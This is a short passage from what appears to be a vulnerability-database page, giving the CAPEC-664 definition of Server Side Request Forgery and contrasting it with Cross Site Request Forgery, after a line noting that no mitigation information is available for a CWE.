}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

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